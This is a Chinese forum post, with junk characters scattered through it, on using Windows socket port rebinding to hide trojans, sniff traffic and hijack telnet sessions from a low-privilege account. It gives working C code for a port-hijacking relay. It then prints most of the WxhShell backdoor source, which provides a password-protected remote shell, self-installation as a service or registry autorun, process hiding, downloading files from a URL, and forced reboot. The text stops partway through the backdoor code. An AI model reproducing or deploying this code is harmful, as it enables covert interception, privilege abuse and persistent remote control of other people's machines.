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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L{;q^  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sb+pB58&N  
;=Jj{FoG%  
  saddr.sin_family = AF_INET; .xuLvNyQr  
/NaI Mo 5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); {=j!2v#8~  
0m6Vf x  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /Ws@YP  
2GA6@-u\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZkkXITQkPM  
MRi QaUg2  
  这意味着什么?意味着可以进行如下的攻击: |j$&W;yC  
/pZLt)=P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J{Ei+@^/9  
~sshhuF  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 1 e1$x@\\  
+.&#whEw(i  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ~xpU<Pd*  
ZFNM>C^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  7OG=LF*V-  
\1hbCv$Hf  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 snO d 3Bw  
}x`W+r  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 2Otd  
}:7'C. ."  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 |\%[e@u  
aG}ju;  
  #include t&^9o $  
  #include =0TnH<`  
  #include :TqvL'9o  
  #include    \%z#|oV#<  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \dTX%<5D  
  int main() j<>E Fd  
  { N|Xx#/  
  WORD wVersionRequested; &duWV6Acw  
  DWORD ret; M.))UKSF  
  WSADATA wsaData; (wU<Kpt?J  
  BOOL val; I3]-$  
  SOCKADDR_IN saddr; eTem RNz  
  SOCKADDR_IN scaddr; :2iNw>z1  
  int err; z$$ E7i  
  SOCKET s; i,1=5@rw5  
  SOCKET sc; Qyvn A|&  
  int caddsize; =<R")D]4z  
  HANDLE mt; e`zx#v  
  DWORD tid;   KWbnSL8  
  wVersionRequested = MAKEWORD( 2, 2 ); [74HUw>  
  err = WSAStartup( wVersionRequested, &wsaData ); >=BH$4Ce  
  if ( err != 0 ) { hJ$o+sl  
  printf("error!WSAStartup failed!\n"); `&2~\o/  
  return -1; ~=91Kxf  
  } cih@: =Qy  
  saddr.sin_family = AF_INET; :so2 {.t-  
   H6%QM}t  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1$T;u~vg  
'8\7(0$c  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); jA_w OR7$  
  saddr.sin_port = htons(23); P,U$ X+  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /(Mi2$@v1  
  { l]t9*a]a  
  printf("error!socket failed!\n"); Tlc3l}B*Z  
  return -1; !=%0  
  } s+IU%y/9$a  
  val = TRUE; Syv[ [Ek  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^'>kZ^w0  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) FN jT?*  
  { gq9IJ  
  printf("error!setsockopt failed!\n"); pa4,W!t  
  return -1; "c5C0 pK0  
  } aK>5r^7S  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ${I$@qq83  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 /]7FX"  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 & D@/_m $  
|^!#x Tj  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W=b<"z]RE  
  { >d#oJ?goX  
  ret=GetLastError(); ;VM',40  
  printf("error!bind failed!\n"); ~DY5`jV  
  return -1; E.~;  
  } ~q0g7?}&  
  listen(s,2); kkWqP20q  
  while(1) WOqAVd\  
  { xX;@ BS  
  caddsize = sizeof(scaddr); <3?T^/8  
  //接受连接请求 +!_?f'kv`  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WKVoqp}  
  if(sc!=INVALID_SOCKET) fpMnA  
  { dzA5l:5  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Hgu:*iYA  
  if(mt==NULL) r(UEPGu|~l  
  { %Xm3m0nsv{  
  printf("Thread Creat Failed!\n"); |GmV1hN  
  break; P "S=RX#+  
  } MYVUOd,  
  } {8L)Fw  
  CloseHandle(mt); `D2wlyqO6  
  } a2:Tu  
  closesocket(s); lo}[o0X  
  WSACleanup(); Ub1?dk   
  return 0; 3,`.$   
  }   wLa^pI4p ^  
  DWORD WINAPI ClientThread(LPVOID lpParam) WW.\5kBl8  
  { p)  x.Y  
  SOCKET ss = (SOCKET)lpParam; iz|mJUx  
  SOCKET sc; re.%$D@  
  unsigned char buf[4096]; d<*4)MRN  
  SOCKADDR_IN saddr; bYzBe\^3q3  
  long num; kBPFk t2  
  DWORD val; $Cu/!GA4.>  
  DWORD ret; ,gU%%>-_~w  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *%0f^~!G<p  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   mwuFXu/  
  saddr.sin_family = AF_INET; >M` swEj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ":,HY)z  
  saddr.sin_port = htons(23); Lh=~3  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) pv;c<NQ'1  
  { Z&mV1dxR  
  printf("error!socket failed!\n"); cz_4cMgxu  
  return -1; "Y&+J@]  
  } //--r5Q  
  val = 100; Z$R2Z$f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D\Y)E#%,  
  {  FNZB M  
  ret = GetLastError(); I3Sl>e(Z  
  return -1; ?KxI|os  
  } 0XlX7Sk+  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lY}mrb  
  { ;WIL?[;w  
  ret = GetLastError(); YY I  
  return -1; v9~Hl   
  } /3%]Ggwe  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hE:P'O1  
  { KGUpXMd^Z  
  printf("error!socket connect failed!\n"); 4\(;}M-R{  
  closesocket(sc); 8O{]ML  
  closesocket(ss); pb%#`2"  
  return -1; eEsEW<su  
  } Oe9{`~  
  while(1) ^OG^% x"  
  { 5*buRYck0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jTw s0=F*  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JXj`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !W$3p'8Tu  
  num = recv(ss,buf,4096,0); 5d}PrYa  
  if(num>0) f Jv 0 B*  
  send(sc,buf,num,0); (Xq eX(s  
  else if(num==0) =mqV&FgRo  
  break; ECkfFE`  
  num = recv(sc,buf,4096,0); tzpGKhrk6  
  if(num>0) *ep!gT*4  
  send(ss,buf,num,0); 8Z3+S)6  
  else if(num==0) d; #9xD'  
  break; qUtVqS  
  } 6}NvVolr  
  closesocket(ss); N#.IpY'7Ze  
  closesocket(sc); '%RMpyK~  
  return 0 ; aDZLabRu  
  } c<&+[{|  
r~s03g0  
TaolX*$5  
========================================================== McsqMI6  
BC$In!  
下边附上一个代码,,WXhSHELL dN*<dz+4r  
h y[_  
========================================================== wFqz.HoB  
CKBi-q FH  
#include "stdafx.h" ?tA- `\E  
Y6N+,FAk+J  
#include <stdio.h> 0>e>G(4(8  
#include <string.h> },Z -w_H  
#include <windows.h> Rkm7"dO0  
#include <winsock2.h> A`N;vq,  
#include <winsvc.h> )d.7xY7!  
#include <urlmon.h> =kc{Q@Dk  
*E. 2R{  
#pragma comment (lib, "Ws2_32.lib") 15eHddd  
#pragma comment (lib, "urlmon.lib") 41uS r 1  
9MYt4  
#define MAX_USER   100 // 最大客户端连接数 8c/Ii"1  
#define BUF_SOCK   200 // sock buffer !CMN/=  
#define KEY_BUFF   255 // 输入 buffer cEQa 6  
^X;>?_Bk  
#define REBOOT     0   // 重启 aEM#V  
#define SHUTDOWN   1   // 关机 B+B v(p  
5g5pzww  
#define DEF_PORT   5000 // 监听端口 k m|wB4  
``z="oD  
#define REG_LEN     16   // 注册表键长度 >S3 >b  
#define SVC_LEN     80   // NT服务名长度 !*ucVv;  
^}[ N4  
// 从dll定义API  Uh8ieb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a $|u!_)!h  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a|53E<5X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); R"=M5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); E<4}mSn)  
Cwh;+3?C|  
// wxhshell配置信息 puyL(ohem  
struct WSCFG { ]a%Kn]HI&2  
  int ws_port;         // 监听端口  "O 'I  
  char ws_passstr[REG_LEN]; // 口令 ~S6N'$^  
  int ws_autoins;       // 安装标记, 1=yes 0=no y$"L`*W  
  char ws_regname[REG_LEN]; // 注册表键名 .KSGma6]  
  char ws_svcname[REG_LEN]; // 服务名 &Os Ritj  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <am7t[G."  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 9|m  L  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~>R)H#mP7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F{+`F<r  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f*~fslY,o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 w6Q]?p+  
FHC7\#p/9Z  
}; DIAP2LR ?  
5S? yj  
// default Wxhshell configuration &$Lm95  
struct WSCFG wscfg={DEF_PORT, 8(;i~f:bCW  
    "xuhuanlingzhe", iE`aGoA  
    1, w1b <>A?87  
    "Wxhshell", Uy:.m  
    "Wxhshell", :JIPF=]fc  
            "WxhShell Service", tK H!xit  
    "Wrsky Windows CmdShell Service", }b(e  
    "Please Input Your Password: ", '1 $({{R  
  1, OEW,[d  
  "http://www.wrsky.com/wxhshell.exe", 4C cb!?  
  "Wxhshell.exe" 6f!mk:\T.  
    }; ,gc#N  
{[?|RC;\Y  
// 消息定义模块 xn8B|axB  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lg+g:o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ;I'/.gW;{  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; J.l%H U  
char *msg_ws_ext="\n\rExit."; EYG E#C; d  
char *msg_ws_end="\n\rQuit."; CK</2w+  
char *msg_ws_boot="\n\rReboot..."; ~2431<YV  
char *msg_ws_poff="\n\rShutdown..."; `qz5rPyZ  
char *msg_ws_down="\n\rSave to "; Uzn|)OfWP  
9A(K_d-!H  
char *msg_ws_err="\n\rErr!"; pQ{t< >  
char *msg_ws_ok="\n\rOK!"; >}*jsqaVU  
5I,X#}K[  
char ExeFile[MAX_PATH]; Dt.Wb&V_w  
int nUser = 0; 2*YXm>|1  
HANDLE handles[MAX_USER]; Uc0'XPo3I  
int OsIsNt; %Qz`SO8x?  
;i :wY&  
SERVICE_STATUS       serviceStatus; dRa<,@1"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; J*X.0&Toc  
s.)w A`&&  
// 函数声明 eE%yo3  
int Install(void); 0 _}89:-  
int Uninstall(void); MToQ8qKs  
int DownloadFile(char *sURL, SOCKET wsh); *8H;KGe=  
int Boot(int flag); L0  2~FT  
void HideProc(void); {OrE1WHB  
int GetOsVer(void); 0\nhg5]?  
int Wxhshell(SOCKET wsl); {WOfT6y+  
void TalkWithClient(void *cs); bnu0*Zg>  
int CmdShell(SOCKET sock); Ec*7n6~9  
int StartFromService(void); wLe&y4  
int StartWxhshell(LPSTR lpCmdLine); 1/+r?F 3  
<" l;l~Y1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +STzG /9#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B^~Bv!tHWr  
?Hxgx  
// 数据结构和表定义 8z8SwWS?  
SERVICE_TABLE_ENTRY DispatchTable[] = U2lC !j%K  
{ c.A/{a  
{wscfg.ws_svcname, NTServiceMain}, E(+wl  
{NULL, NULL} B2qq C-hw?  
}; jI<WzvhYG  
~<[5uZIo  
// 自我安装 g4SYG)'R+  
int Install(void) ]m#MwN$  
{ :42;c:85  
  char svExeFile[MAX_PATH]; =1OAy`8  
  HKEY key; 0+y~RTAVB  
  strcpy(svExeFile,ExeFile); &|"I0|tJ  
Fd,+(i D  
// 如果是win9x系统,修改注册表设为自启动 #]a51Vss  
if(!OsIsNt) { ::R00gd  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MGKeD+=5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); "M0l;  
  RegCloseKey(key); l%U_iqL&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Cd{#j<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a:^ Gr%  
  RegCloseKey(key); )'dH}3Ba  
  return 0; 4FE@s0M,  
    } O0(Q0Ko  
  } Dzjt|U0ru9  
} JrWBcp:Y  
else { n.XhK_6n]M  
KP d C9H  
// 如果是NT以上系统,安装为系统服务 `CEj 4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ME@6.*  
if (schSCManager!=0) kxqc6  
{ grxl{uIC8  
  SC_HANDLE schService = CreateService V]kGcS}  
  ( [H:GKhPC`  
  schSCManager, >"<k8wn  
  wscfg.ws_svcname, ;, v L  
  wscfg.ws_svcdisp, ]\ 2RV DC  
  SERVICE_ALL_ACCESS, u6Qf*_-K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5H :~6z  
  SERVICE_AUTO_START, T'b/]&0Tio  
  SERVICE_ERROR_NORMAL, DMcxa.Sd!  
  svExeFile, 'Ywpdzz[  
  NULL, MjXE|3&  
  NULL, YaNH.$.:  
  NULL, KA-/k@1&  
  NULL, +5t bK  
  NULL d1TdH s\  
  ); Ph+X{|  
  if (schService!=0) =GKS;d#/  
  { ZAX0n!db3  
  CloseServiceHandle(schService); b~r{J5x@  
  CloseServiceHandle(schSCManager); 24jtJC,7  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7.e7Fi{  
  strcat(svExeFile,wscfg.ws_svcname); E R]sDV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { $~,}yh;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); puS&S *  
  RegCloseKey(key); t.E4Tqzc>  
  return 0; ?)' 2l6  
    } I& M36f  
  } =%3b@}%HqS  
  CloseServiceHandle(schSCManager); hY=w|b=Y  
} *m$PH"  
} fzS`dL5,W  
B+Y5b5+wOQ  
return 1; .5Knbc  
} &whX*IZ{  
2<'`^AO@  
// 自我卸载 v. Xoq  
int Uninstall(void) ;n} >C' :  
{ ms}f>f=  
  HKEY key; oe!:|ck<  
/Fe:h >6  
if(!OsIsNt) { ^Ue0mC7m  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { cGE=.  
  RegDeleteValue(key,wscfg.ws_regname); \T`["<  
  RegCloseKey(key); @8=vFP'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 6x_ T@  
  RegDeleteValue(key,wscfg.ws_regname); 20UqJM8 Ot  
  RegCloseKey(key); dh^+l;!L  
  return 0; Y5ogi )  
  } 4l&"]9D  
} %M{k.FE(  
} Q !9HA[Ly  
else { %5JW< 9  
2wx!Lpr<i_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >1x7UXs~:  
if (schSCManager!=0) ch@x]@-;A3  
{ {r={#mO;p  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); -@''[m.*  
  if (schService!=0) m|pTn#*`  
  { ! FNf>z+  
  if(DeleteService(schService)!=0) { YP[LQ>  
  CloseServiceHandle(schService); 0Injyc*bMF  
  CloseServiceHandle(schSCManager); % f2<U;ff  
  return 0; F`!TV(,bY  
  } U~aWG\h#X  
  CloseServiceHandle(schService); ?75\>NiR  
  } XQ]`&w(  
  CloseServiceHandle(schSCManager); Wk@ eV\H71  
} GDF{Lf)/v  
} 4s9c#nVlu  
||uZ bP@  
return 1; R0%?:! F  
} [#p&D~Du&  
P: n#S%  
// 从指定url下载文件 BBcj=]"_  
int DownloadFile(char *sURL, SOCKET wsh) {  |s/]W  
{ 9"~9hOEct  
  HRESULT hr; LI[ ?~P2\  
char seps[]= "/"; /Zc#j^_  
char *token; J"-_{)0lD  
char *file; o]A XT8  
char myURL[MAX_PATH]; \M9 h&I\7  
char myFILE[MAX_PATH]; )o{VmXe@@  
-Q#o)o  
strcpy(myURL,sURL); {VR`;  
  token=strtok(myURL,seps); Z | We9%  
  while(token!=NULL) KxY$PgcC  
  { Ls]@icH0  
    file=token; [OzzL\)3l  
  token=strtok(NULL,seps); lX"bN=E?!  
  } )R~aA#<>  
,+se  
GetCurrentDirectory(MAX_PATH,myFILE); 5:UyUB  
strcat(myFILE, "\\"); 22>;vM."  
strcat(myFILE, file); (#$$nQj  
  send(wsh,myFILE,strlen(myFILE),0); <s_=-" il  
send(wsh,"...",3,0); Txo@ U  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i X%[YQ |  
  if(hr==S_OK) oU8>Llt=$  
return 0; [Eu];  
else ]=x\b^  
return 1; n+HsQ]z.  
Q[uAIyv0  
} ,)zt AFn=  
DR@1z9 a  
// 系统电源模块 d8E,o7$m  
int Boot(int flag) dx@QWTNE  
{ e0 u,zg+m  
  HANDLE hToken; k9mi5Oc  
  TOKEN_PRIVILEGES tkp; 'z5h3J  
 / +1{  
  if(OsIsNt) { vZu~LW@1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); B_ k2u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); j)Y[4 ^k^  
    tkp.PrivilegeCount = 1; Z19m@vMsIP  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; vX;HC'%n  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C#;@y|Rw  
if(flag==REBOOT) { j)by}}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) YTQps&mD.  
  return 0; 8:thWGLN  
} rC BfD  
else { u[")*\CP  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) __I/F6{ 9V  
  return 0; ;Lo&}U3F,!  
} zE|Wn3_sd  
  } JYm7@gx  
  else { XV>&F{  
if(flag==REBOOT) { _U0$=V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tE6!+c<7  
  return 0; !`1'2BC  
} H{J'# 9H  
else { n1 6 `y}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _Z5Mw+=19  
  return 0; )-*5v D  
} v>z tB,,9  
} Y!iZW  
n  -(  
return 1; ;%tF58&  
} 3(C\.oRc  
lL1k.& |5m  
// win9x进程隐藏模块 "&Po,AWa  
void HideProc(void) 0TpK#OlI|c  
{ ()&~@1U  
g&/T*L  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll");  hI9  
  if ( hKernel != NULL ) .bBdQpF-  
  { W9NX=gE4  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7{&|;U  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); MSf;ZB  
    FreeLibrary(hKernel); Ft}@ 1w5  
  } (o3 Iy  
H":oNpfb  
return; %iV^S !e  
} jLg9H/w{  
MEB it  
// 获取操作系统版本 >/|q:b^2r  
int GetOsVer(void) Lemui)  
{ ~69&6C1Ch  
  OSVERSIONINFO winfo; 9 (QJT}qC  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /?SLdW  
  GetVersionEx(&winfo); '],J$ge  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 03C0L&  
  return 1; -Uml_/rd_  
  else (o`{uj{!  
  return 0; JtER_(.  
} '- zD  
X&kp;W  
// 客户端句柄模块 Jv^h\~*jH  
int Wxhshell(SOCKET wsl) TYW&!sm  
{ =>-Rnc@  
  SOCKET wsh; h $2</J"  
  struct sockaddr_in client; \ Yx/(e  
  DWORD myID; M3.do^ss  
@;"|@!l|  
  while(nUser<MAX_USER) 1y}Y9mlD.  
{ A}l3cP; `#  
  int nSize=sizeof(client); 7Op>i,HZk\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Hj}K{20  
  if(wsh==INVALID_SOCKET) return 1; LGn:c;  
uA< n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); OGl}-kw  
if(handles[nUser]==0) %KLpig  
  closesocket(wsh); w(L4A0K[  
else [@.!~E)P  
  nUser++; m^zUmrj[  
  } uLV#SQ=bZN  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1eF3`  
p>huRp^w  
  return 0; M!o##* *`  
} 6^`1\ #f  
)P sY($ &  
// 关闭 socket {N+$Q'  
void CloseIt(SOCKET wsh) a!v1M2>  
{ xA$XT[D  
closesocket(wsh); ) AvN\sC  
nUser--; %iQD /iT5  
ExitThread(0); U2W|:~KM  
} J| w>a  
do>wwgr  
// 客户端请求句柄 gtppv6<Mj4  
void TalkWithClient(void *cs) .(cw>7e3D  
{ X4~y7  
{'NvG  
  SOCKET wsh=(SOCKET)cs; uxr #QA  
  char pwd[SVC_LEN]; \"P%`  C  
  char cmd[KEY_BUFF]; rC^WPW  
char chr[1]; rX2.i7i,  
int i,j; cK(C&NK  
k%WTJbuG<)  
  while (nUser < MAX_USER) { *Q "wwpl?  
i9,ge Q7d  
if(wscfg.ws_passstr) { _Tm3<o.  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n{ar gI8wF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *`5.|{<j{  
  //ZeroMemory(pwd,KEY_BUFF); +%h8r5o1  
      i=0; g}1B;zGf  
  while(i<SVC_LEN) { 'c9]&B  
86=}ZGWd  
  // 设置超时 m[~y@7AK<  
  fd_set FdRead; P@V0Mi),  
  struct timeval TimeOut; Yi%;|]  
  FD_ZERO(&FdRead); #A JDWelD  
  FD_SET(wsh,&FdRead); 3 /g~A{  
  TimeOut.tv_sec=8; NJWA3zz   
  TimeOut.tv_usec=0; p>v$FiV2N  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); T $>&[f$6  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); E Nh l&J  
h+g_rvIG*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); yg<R=$n,Q  
  pwd=chr[0]; /~%&vpF-L  
  if(chr[0]==0xd || chr[0]==0xa) { 61C7.EZZ;  
  pwd=0; Rq'S>#e  
  break; HdUQCugxx:  
  } P64PPbP  
  i++; 823Y\x~>  
    } a/4T> eC  
l*Gvf_UH  
  // 如果是非法用户,关闭 socket NX*Q F+  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UNu#(nP  
} & p  
> PRFWO  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); WUn]F~Lt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); JzQ_{J`k  
@e.C"@G  
while(1) { PbJ(:`u  
= SMXDaH  
  ZeroMemory(cmd,KEY_BUFF); MS~(D.@ZS  
i &nSh ]KK  
      // 自动支持客户端 telnet标准   {#vgtgBB  
  j=0; C_}]`[  
  while(j<KEY_BUFF) { =7=]{Cx[  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ju@c~Xm  
  cmd[j]=chr[0]; X]TG<r  
  if(chr[0]==0xa || chr[0]==0xd) { @Md/Q~>  
  cmd[j]=0; `,<BCu  
  break; I3L<[-ZE  
  } 0*3R=7_},o  
  j++;  JYI,N  
    } e8a+2.!&\  
Z"xvh81P  
  // 下载文件 PO: {t  
  if(strstr(cmd,"http://")) { 0 1rK8jX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Jq-]7N%k/  
  if(DownloadFile(cmd,wsh)) 3qC}0CP*  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); -=Q*Ml#I  
  else Ty?cC**  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l_d5oAh   
  } `4J$Et%S  
  else { b{&)6M)zo  
[q[Y~1o/&H  
    switch(cmd[0]) { m+[Ux{$  
  jvL[ JI,b  
  // 帮助 )m T<MkP  
  case '?': { ~qKY) "gG  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); p8O2Z? \  
    break; @Cyvf5|bL  
  } FDs>m #e  
  // 安装 <iC(`J$D  
  case 'i': { ! n@KU!&k  
    if(Install()) |0b`fOS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T.BW H2gRP  
    else )7Wf@@R'F  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !*N@ZL&X  
    break; +I|vzz`ZVr  
    } EV%gF   
  // 卸载 \~$#1D1f  
  case 'r': { [RhO$c$[\  
    if(Uninstall()) YjKxb9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #q=Efn'  
    else qo bc<-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,#9PxwrO  
    break; z Rr*7G  
    } VY4yS*y  
  // 显示 wxhshell 所在路径 `Ggbi4),  
  case 'p': { 3F2w-+L  
    char svExeFile[MAX_PATH]; hRhe& ,v  
    strcpy(svExeFile,"\n\r"); h*](a_0  
      strcat(svExeFile,ExeFile); n{mfn *r.  
        send(wsh,svExeFile,strlen(svExeFile),0); )3EY;  
    break; rg!r[1c  
    } 9rf)gU3{+L  
  // 重启 `d}2O%P  
  case 'b': { 2FJ*f/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |@d\S[~^G  
    if(Boot(REBOOT)) zQd 2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (O3nL.  
    else { YIYmiv5  
    closesocket(wsh); uK Hxe~  
    ExitThread(0); }o`76rDN  
    } 4|?;TE5  
    break; U>N1Od4vTO  
    } 2BwO!Y[  
  // 关机 $ddCTS^  
  case 'd': { S<Xf>-8w  
